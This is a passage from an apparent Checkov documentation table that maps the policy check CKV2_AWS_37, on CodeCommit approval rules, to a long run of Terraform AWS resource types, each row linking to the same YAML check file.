[CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 649 | CKV2_AWS_37 | resource | aws_api_gateway_vpc_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 650 | CKV2_AWS_37 | resource | aws_apigatewayv2_api | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 651 | CKV2_AWS_37 | resource | aws_apigatewayv2_api_mapping | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 652 | CKV2_AWS_37 | resource | aws_apigatewayv2_authorizer | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 653 | CKV2_AWS_37 | resource | aws_apigatewayv2_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 654 | CKV2_AWS_37 | resource | aws_apigatewayv2_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 655 | CKV2_AWS_37 | resource | aws_apigatewayv2_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 656 | CKV2_AWS_37 | resource | aws_apigatewayv2_integration_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 657 | CKV2_AWS_37 | resource | aws_apigatewayv2_model | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 658 | CKV2_AWS_37 | resource | aws_apigatewayv2_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 659 | CKV2_AWS_37 | resource | aws_apigatewayv2_route_response | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 660 | CKV2_AWS_37 | resource | aws_apigatewayv2_stage | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 661 | CKV2_AWS_37 | resource | aws_apigatewayv2_vpc_link | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 662 | CKV2_AWS_37 | resource | aws_app_cookie_stickiness_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 663 | CKV2_AWS_37 | resource | aws_appautoscaling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 664 | CKV2_AWS_37 | resource | aws_appautoscaling_scheduled_action | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 665 | CKV2_AWS_37 | resource | aws_appautoscaling_target | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 666 | CKV2_AWS_37 | resource | aws_appconfig_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 667 | CKV2_AWS_37 | resource | aws_appconfig_configuration_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 668 | CKV2_AWS_37 | resource | aws_appconfig_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 669 | CKV2_AWS_37 | resource | aws_appconfig_deployment_strategy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 670 | CKV2_AWS_37 | resource | aws_appconfig_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 671 | CKV2_AWS_37 | resource | aws_appconfig_extension | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 672 | CKV2_AWS_37 | resource | aws_appconfig_extension_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 673 | CKV2_AWS_37 | resource | aws_appconfig_hosted_configuration_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 674 | CKV2_AWS_37 | resource | aws_appfabric_app_authorization | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 675 | CKV2_AWS_37 | resource | aws_appfabric_app_authorization_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 676 | CKV2_AWS_37 | resource | aws_appfabric_app_bundle | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 677 | CKV2_AWS_37 | resource | aws_appfabric_ingestion | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 678 | CKV2_AWS_37 | resource | aws_appfabric_ingestion_destination | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 679 | CKV2_AWS_37 | resource | aws_appflow_connector_profile | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 680 | CKV2_AWS_37 | resource | aws_appflow_flow | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 681 | CKV2_AWS_37 | resource | aws_appintegrations_data_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 682 | CKV2_AWS_37 | resource | aws_appintegrations_event_integration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 683 | CKV2_AWS_37 | resource | aws_applicationinsights_application | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 684 | CKV2_AWS_37 | resource | aws_appmesh_gateway_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 685 | CKV2_AWS_37 | resource | aws_appmesh_mesh | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 686 | CKV2_AWS_37 | resource | aws_appmesh_route | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 687 | CKV2_AWS_37 | resource | aws_appmesh_virtual_gateway | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 688 | CKV2_AWS_37 | resource | aws_appmesh_virtual_node | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 689 | CKV2_AWS_37 | resource | aws_appmesh_virtual_router | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 690 | CKV2_AWS_37 | resource | aws_appmesh_virtual_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 691 | CKV2_AWS_37 | resource | aws_apprunner_auto_scaling_configuration_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 692 | CKV2_AWS_37 | resource | aws_apprunner_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 693 | CKV2_AWS_37 | resource | aws_apprunner_custom_domain_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 694 | CKV2_AWS_37 | resource | aws_apprunner_default_auto_scaling_configuration_version | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 695 | CKV2_AWS_37 | resource | aws_apprunner_deployment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 696 | CKV2_AWS_37 | resource | aws_apprunner_observability_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 697 | CKV2_AWS_37 | resource | aws_apprunner_service | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 698 | CKV2_AWS_37 | resource | aws_apprunner_vpc_connector | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 699 | CKV2_AWS_37 | resource | aws_apprunner_vpc_ingress_connection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 700 | CKV2_AWS_37 | resource | aws_appstream_directory_config | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 701 | CKV2_AWS_37 | resource | aws_appstream_fleet | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 702 | CKV2_AWS_37 | resource | aws_appstream_fleet_stack_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 703 | CKV2_AWS_37 | resource | aws_appstream_image_builder | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 704 | CKV2_AWS_37 | resource | aws_appstream_stack | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 705 | CKV2_AWS_37 | resource | aws_appstream_user | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 706 | CKV2_AWS_37 | resource | aws_appstream_user_stack_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 707 | CKV2_AWS_37 | resource | aws_appsync_api_cache | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 708 | CKV2_AWS_37 | resource | aws_appsync_api_key | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 709 | CKV2_AWS_37 | resource | aws_appsync_datasource | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 710 | CKV2_AWS_37 | resource | aws_appsync_domain_name | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 711 | CKV2_AWS_37 | resource | aws_appsync_domain_name_api_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 712 | CKV2_AWS_37 | resource | aws_appsync_function | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 713 | CKV2_AWS_37 | resource | aws_appsync_graphql_api | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 714 | CKV2_AWS_37 | resource | aws_appsync_resolver | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 715 | CKV2_AWS_37 | resource | aws_appsync_source_api_association | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 716 | CKV2_AWS_37 | resource | aws_appsync_type | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 717 | CKV2_AWS_37 | resource | aws_athena_data_catalog | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 718 | CKV2_AWS_37 | resource | aws_athena_database | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 719 | CKV2_AWS_37 | resource | aws_athena_named_query | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 720 | CKV2_AWS_37 | resource | aws_athena_prepared_statement | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 721 | CKV2_AWS_37 | resource | aws_athena_workgroup | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 722 | CKV2_AWS_37 | resource | aws_auditmanager_account_registration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 723 | CKV2_AWS_37 | resource | aws_auditmanager_assessment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 724 | CKV2_AWS_37 | resource | aws_auditmanager_assessment_delegation | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 725 | CKV2_AWS_37 | resource | aws_auditmanager_assessment_report | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 726 | CKV2_AWS_37 | resource | aws_auditmanager_control | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 727 | CKV2_AWS_37 | resource | aws_auditmanager_framework | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 728 | CKV2_AWS_37 | resource | aws_auditmanager_framework_share | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 729 | CKV2_AWS_37 | resource | aws_auditmanager_organization_admin_account_registration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 730 | CKV2_AWS_37 | resource | aws_autoscaling_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 731 | CKV2_AWS_37 | resource | aws_autoscaling_group | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 732 | CKV2_AWS_37 | resource | aws_autoscaling_group_tag | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 733 | CKV2_AWS_37 | resource | aws_autoscaling_lifecycle_hook | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 734 | CKV2_AWS_37 | resource | aws_autoscaling_notification | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 735 | CKV2_AWS_37 | resource | aws_autoscaling_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 736 | CKV2_AWS_37 | resource | aws_autoscaling_schedule | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 737 | CKV2_AWS_37 | resource | aws_autoscaling_traffic_source_attachment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 738 | CKV2_AWS_37 | resource | aws_autoscalingplans_scaling_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 739 | CKV2_AWS_37 | resource | aws_az_info | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 740 | CKV2_AWS_37 | resource | aws_backup_framework | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 741 | CKV2_AWS_37 | resource | aws_backup_global_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 742 | CKV2_AWS_37 | resource | aws_backup_logically_air_gapped_vault | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 743 | CKV2_AWS_37 | resource | aws_backup_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 744 | CKV2_AWS_37 | resource | aws_backup_region_settings | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 745 | CKV2_AWS_37 | resource | aws_backup_report_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 746 | CKV2_AWS_37 | resource | aws_backup_restore_testing_plan | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 747 | CKV2_AWS_37 | resource | aws_backup_restore_testing_selection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 748 | CKV2_AWS_37 | resource | aws_backup_selection | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 749 | CKV2_AWS_37 | resource | aws_backup_vault | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 750 | CKV2_AWS_37 | resource | aws_backup_vault_lock_configuration | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 751 | CKV2_AWS_37 | resource | aws_backup_vault_notifications | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 752 | CKV2_AWS_37 | resource | aws_backup_vault_policy | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 753 | CKV2_AWS_37 | resource | aws_batch_compute_environment | Ensure CodeCommit associates an approval rule | Terraform | [CodecommitApprovalRulesAttached.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml) | | 754 | CKV2_AWS_37 | resource | aws_batch_job_definition | Ensure CodeCommit associates an approval rule | Terraform | 